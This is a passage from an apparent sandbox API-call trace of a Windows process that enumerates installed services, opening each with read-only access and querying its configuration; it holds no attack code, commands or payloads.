lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0032.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x1e245d0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0032.585] OpenServiceW (hSCManager=0x2d3600, lpServiceName="LanmanWorkstation", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.585] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.585] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.585] GetLastError () returned 0x7a [0032.585] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x174, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e24618, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x1e24618, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0032.586] OpenServiceW (hSCManager=0x2d3600, lpServiceName="lltdsvc", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.586] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.586] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.586] GetLastError () returned 0x7a [0032.586] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x160, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e24660, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x1e24660, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0032.586] OpenServiceW (hSCManager=0x2d3600, lpServiceName="lmhosts", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.587] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.587] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.587] GetLastError () returned 0x7a [0032.587] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x164, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e246a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x1e246a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0032.587] OpenServiceW (hSCManager=0x2d3600, lpServiceName="Mcx2Svc", dwDesiredAccess=0x1) returned 0x2d3790 [0032.588] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.588] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.588] GetLastError () returned 0x7a [0032.588] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x1a8, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e246f0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0032.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x1e246f0, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0032.588] OpenServiceW (hSCManager=0x2d3600, lpServiceName="Microsoft SharePoint Workspace Audit Service", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.588] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.589] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.589] GetLastError () returned 0x7a [0032.589] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x184, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="groove.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0032.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="groove.exe", cchWideChar=10, lpMultiByteStr=0x1e24738, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="groove.exe", lpUsedDefaultChar=0x0) returned 10 [0032.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x1e24738, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0032.589] OpenServiceW (hSCManager=0x2d3600, lpServiceName="MMCSS", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.589] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.589] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.590] GetLastError () returned 0x7a [0032.590] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x10e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e24780, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0032.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x1e24780, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0032.590] OpenServiceW (hSCManager=0x2d3600, lpServiceName="MozillaMaintenance", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.590] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.590] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.590] GetLastError () returned 0x7a [0032.590] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x152, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="maintenanceservice.exe", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0032.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="maintenanceservice.exe", cchWideChar=22, lpMultiByteStr=0x1e247c8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="maintenanceservice.exe", lpUsedDefaultChar=0x0) returned 22 [0032.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x1e247c8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0032.591] OpenServiceW (hSCManager=0x2d3600, lpServiceName="MpsSvc", dwDesiredAccess=0x1) returned 0x2d3790 [0032.591] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.591] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.591] GetLastError () returned 0x7a [0032.591] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x164, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e24810, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x1e24810, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0032.592] OpenServiceW (hSCManager=0x2d3600, lpServiceName="MSDTC", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.592] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.592] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.592] GetLastError () returned 0x7a [0032.592] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x13c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc.exe", cchWideChar=9, lpMultiByteStr=0x1e24858, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc.exe", lpUsedDefaultChar=0x0) returned 9 [0032.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x1e24858, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0032.592] OpenServiceW (hSCManager=0x2d3600, lpServiceName="MSiSCSI", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.593] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.593] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.593] GetLastError () returned 0x7a [0032.593] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x126, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e248a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x1e248a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0032.593] OpenServiceW (hSCManager=0x2d3600, lpServiceName="msiserver", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.594] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.594] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.594] GetLastError () returned 0x7a [0032.594] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0xf6, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiexec.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiexec.exe", cchWideChar=11, lpMultiByteStr=0x1e248e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiexec.exe", lpUsedDefaultChar=0x0) returned 11 [0032.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napagent", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napagent", cchWideChar=8, lpMultiByteStr=0x1e248e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napagent", lpUsedDefaultChar=0x0) returned 8 [0032.601] OpenServiceW (hSCManager=0x2d3600, lpServiceName="napagent", dwDesiredAccess=0x1) returned 0x2d3790 [0032.602] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.602] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.602] GetLastError () returned 0x7a [0032.602] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x150, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e24930, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netlogon", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netlogon", cchWideChar=8, lpMultiByteStr=0x1e24930, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netlogon", lpUsedDefaultChar=0x0) returned 8 [0032.602] OpenServiceW (hSCManager=0x2d3600, lpServiceName="Netlogon", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.603] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.603] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.603] GetLastError () returned 0x7a [0032.603] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x126, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x1e24978, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0032.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netman", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netman", cchWideChar=6, lpMultiByteStr=0x1e24978, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netman", lpUsedDefaultChar=0x0) returned 6 [0032.603] OpenServiceW (hSCManager=0x2d3600, lpServiceName="Netman", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.617] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.617] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.618] GetLastError () returned 0x7a [0032.618] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x13c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e249c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netmsmqactivator", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0032.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netmsmqactivator", cchWideChar=16, lpMultiByteStr=0x1e249c0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netmsmqactivator", lpUsedDefaultChar=0x0) returned 16 [0032.618] OpenServiceW (hSCManager=0x2d3600, lpServiceName="NetMsmqActivator", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.618] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.618] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.618] GetLastError () returned 0x7a [0032.618] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x18a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0032.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x1e24a08, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smsvchost.exe", lpUsedDefaultChar=0x0) returned 13 [0032.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netpipeactivator", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0032.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 